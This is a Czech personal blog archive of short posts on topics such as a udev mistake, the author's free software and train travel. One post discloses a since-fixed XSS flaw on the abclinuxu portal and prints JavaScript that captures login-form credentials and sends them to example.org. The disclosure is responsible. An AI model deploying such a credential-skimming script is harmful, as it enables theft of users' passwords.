Michal Čihař - Blog Archives for Czech

Stydím se za svůj rodný jazyk?

Moje stránky jsou v angličtině, programy, které vytvářím mají jako primární jazyk angličtinu a tak asi také spadám do kategorie na zastřelení .

Nějak pořád nemůžu najít co je na tom špatně? To mám lidi z celého světa nutit ke čtení česky psaných stránek? Mnohem pravděpodobnější je, že by se na to vykašlali. A já se vždy naivně domníval, že cílem zveřejnění nečeho je co největší publikum.

Ano je tu možnost mít dvě verze stránek a tak jsem to jeden čas dělal, ale psát všechny změny do dvou verzí nebylo v mých silách a stejně to nakonec skončilo tak, že český návštěvník asi v polovině případů dostal anglický text. Nicméně pokud se najde dobrovolník, který překlady bude udržovat, tak nechť se ozve ;-).

Jak si pomocí udevu rozbít systém?

Minulý týden jsem potřeboval zpřístupnit tun device pro uživatele. Všechno vypadalo jednoduše - přidal jsem pravidlo pro udev, aby bylo zařízení přístupné pro nějakou skupinu. Rebootovat nebylo potřeba, po nahrání modulu se vše tvářilo v pohodě.

Na víkend jsem vypnul počítač a nějak se nezadařilo nabootovaní. udev nevytvořil skoro žádná zařízení a pořád vypisoval cosi o tom, že nemůže něco přejmenovat na net/tun . První myšlenka byla, že se mi tam asi dostal nějaký rozbitý udev, takže jsem nabootoval z CD a dal tam nějaký starší.

Pořád ten samý problém. Další krok mě napadlo znovu nainstalovat udev s distribuční konfigurací. Při té příležitosti jsem si již všiml, že tam je jakýsi vlastní konfigurák a po nahlédnutí do něj, mi bylo jasné o co jde :-).

Pokud chci změnit práva pro nějaký device, rozhodně není správná cesta všem zařízením přidělit toto jméno a práva:

 NAME="net/tun", GROUP="net"

Ale spíš nejdřív zkontrolovat, jestli to je ten správný a pak teprve měnit práva:

  KERNEL=="net/tun", GROUP="net"
 

Chybami se člověk učí, ale hlavně je potřeba je nejdřív hledat u sebe :-).

Můj free software 11. - a pohádky je konec

Tak jsem dospěl až do současnosti a probral všechno, na co jsem si vzpomněl. Možná ještě někde žije nějaký zapomenutý výtvor, který by stál za zmínku, ale paměť už mi moc neslouží :-).

Co jinak napsat na závěr? Je vidět kolik slepých uliček jsem prošel a ještě pořád musím z některých (wxPython) vyjít. Ale programátora vždy potěší a dodá mu motivaci, když se ozve nějaký uživatel , který je spokojený. Jen víc takových a méně chyb, ale to je jen zbožné přání :-).

Zážitky s Českými drahami

Po dlouhé době jsem opět využil služeb Českých drah. Jako obvykle to člověka naplní různými zážitky.

Začalo to poměrně pozitivním zjištěním, že si člověk může koupit lístek pro kolo za 60 Kč a na ten pak kolo vozit dva dny. Ovšem kdyby ho bylo kam dát. V jízdním řádu jsem si vybral vlak se symbolem a popisem rozšířená přeprava spoluzavazadel, především jízdních kol . Ve vlaku mi bylo průvodčím vysvětleno, že tento symbol v podstatě nic neznamená, protože on v tom vlaku prostě místa na kola jinde než na plošinách normálního vagónu nemá. No nějak jsme se tam naskládali a naštěstí nikdo mezitím nechtěl vystupovat, takže nevzniklo moc konfliktů.

Při zpáteční cestě jsem pak už jen pobaveně sledoval, jak jsou schopni synchronizovat zpoždění dvou navazujících vlaků, takže přes 20 minut zpoždění oba vlaky dorazily do přestupní stanice současně :-).

Můj free software 10. - ukolovnik

Začalo to klasicky tím, že jsem si ze stávající nabídky tisíce todo listů nebyl schopný vybrat nějaký, který by mi vyhovoval. No a po pár hodinách vznikla první verze Ukolovniku . V podstatě je to jenom další ukázka toho, že co si člověk nenapíše, to mu nevyhovuje. Už pomalu začínám chápat to že si každý napíše svůj klon Total Commanderu :-).

Nebudu znovu popisovat důvody, které mě k napsání vedly, to si najdete ve starším zápisku . Dnes umí vše co potřebuji a v plánu jsou už jen nové vlastnosti, které by bylo dobré mít, jako třeba instalační skript a přesun konfigurace do databáze. Na Freshmeatu si to nevede až tak špatně, ale zatím se nikdo neodvážil nahlásit chybu, tak nevím jestli to nikdo nepoužívá nebo je to opravdu bezchybné :-).

Proplacení šeku

Pokouším se prokousat weby českých bankovních institucí, abych zjistil, kde mi z mého šeku zbyde nejvíc peněz :-). Nečekal jsem, že se jedná o tak složitý úkol. Většinou se člověk ukliká k smrti, než tuto informaci objeví.

Nabídky začínají na úžasných podmínkách jako 2 % z částky šeku, min. 1 000 Kč , které člověka spíš lákají k tomu si ten kousek papíru nechat. Moje banka mi nabízí 1 %, min. 100,-, max. 3000,- , třeba u eBanky je to velmi podobné, jen limity jsou nižší - 1%, min. 50, max. 1 500 . Jinde si zase nehrají na procenta a prostě si naúčtují 650 Kč za šek . Nějak se v tom začínám ztrácet :-).

Tak nějak doufám, že tu někdo podobný problém řešil. Třeba mi poradí, kde ten kousek papíru přeměnit na peníze s co nejmenšími desátky věnovanými bance :-).

Můj free software 9. - polld

Po Wammu následovala poměrně dlouhá přestávka. Ne že bych nic nedělal, ale nějak nebyla potřeba něco nového vytvářet. A času taky nikdy není nazbyt. Pak mě jednoho dne naštvalo, že čtečka karet není schopná načíst partition po zasunutí karty a rozhodl jsem se to vyřešit. Tak vznikl polld , trviviální démon, který jenom periodicky otevírá soubor.

Opravdu se nejedná o nic složitého, většina kódu se stará o načítání konfiguračního souboru a zpracování parametrů. No ale svůj účel to plní, a to dokonce nejen mě, ale i pár dalším lidem :-).

PS: Nebojte se, za chvíli už vážně bude konec této nekonečné soap opery.

Jak ukrást hesla uživatelům abclinuxu?

Když tak řeším bezpečností chyby v phpMyAdminovi, napadlo mě jak jsou proti podobným věcem zabezpečené portály. Protože dost často používám abclinuxu, tak přišlo první na mušku :-).

Předem podotýkám, že tento článek byl nejdříve dán k dispozici adminům, takže doufám, že v době zveřejnění už není možné toto provést.

Většina prohlížečů dnes umí javascript, který se dá dělat spousta zajímavých věcí. Třeba přidat javascript na obsluhu nějaké událost nebo posílat XML HTTP requesty . Bystřejším již možná dochází, že pokud si můžu vložit vlastní javascript, není žádný problém odchytit odesílání přihlašovacího formuláře. Kdo nevěří, může si zkusit následující ukázku (ta heslo jenom zobrazí, ale to už je jenom detail):

 <script type="text/javascript">
<!--
function process() {
    p = document.getElementById('pwd').value;
    u = document.getElementById('usr').value;
    document.getElementById('ls_prepinac').innerHTML = 
        '<img src="http://example.org/?u=' + 
        u + '&p;=' + p + '"/>';
    window.alert('odeslano na example.org:\npass: ' + 
        p + '\n' + 'user: ' + u);
}
function load() {
    frm = document.forms[0];
    frm.onsubmit = process;
}
window.onload = load;
//-->
</script>

<div id="ls_prepinac">xx</div>
<form method="post">
<input type="text" name="u" id="usr">
<input type="password" name="p" id="pwd">
<input type="submit">
</form>

Teď už jenom zbývá jak dostat vlastní javascript na logovací stránku. Protože je samostatná, tak jediná věc, která je tam vidět z uživatelem ovlivnitelného obsahu jsou zprávičky. Obsah zpráviček je (aspoň v to doufám) kontrolován na dovolené html, ale ještě nám zbývá jeden zajímavý prvek. Tím je naše jméno, tam si můžeme napsat cokoliv co chceme, včetně javascriptu. Tak teď už jen zbývá doufat, že to moc lidí nezrealizovalo :-). Napsat zprávičku, která bude schválena až takový problém není a pak už je dílo dokonáno.

Jaké je řešení? Nedovolovat nikde javascript, dá se použít k mnoha nebezpečným věcem.

Stav chyby:

  • 2.5.2006 12:56 - oznámeno
  • 2.5.2006 13:14 - Leoš tvrdí že při zadání kontroluje <
  • 2.5.2006 13:26 - ukazuju mu že nekontroluje (kdo si v té době všiml "x" u mého jména, má 10 bodů za všímavost :-))
  • 2.5.2006 13:45 - Leoš uznává, že kontrola neexistuje
  • 2.5.2006 21:53 - opraveno

Spam je zdravý

Občas nechápu na co všechno se dají získat granty. Vědci z University of Alberta vyzkoumali, že nevyžádaná pošta může mít dobrý vliv na zdravotní stav člověka . Posílat lidem nevyžádanou reklamu na zdravý způsob života a zkoumat jak je to ovlivní je vskuktu geniální nápad. Jenom je vidět. že dotyční asi moc zkušeností se spamem neměli, když jim prošel přes všechny filtry :-).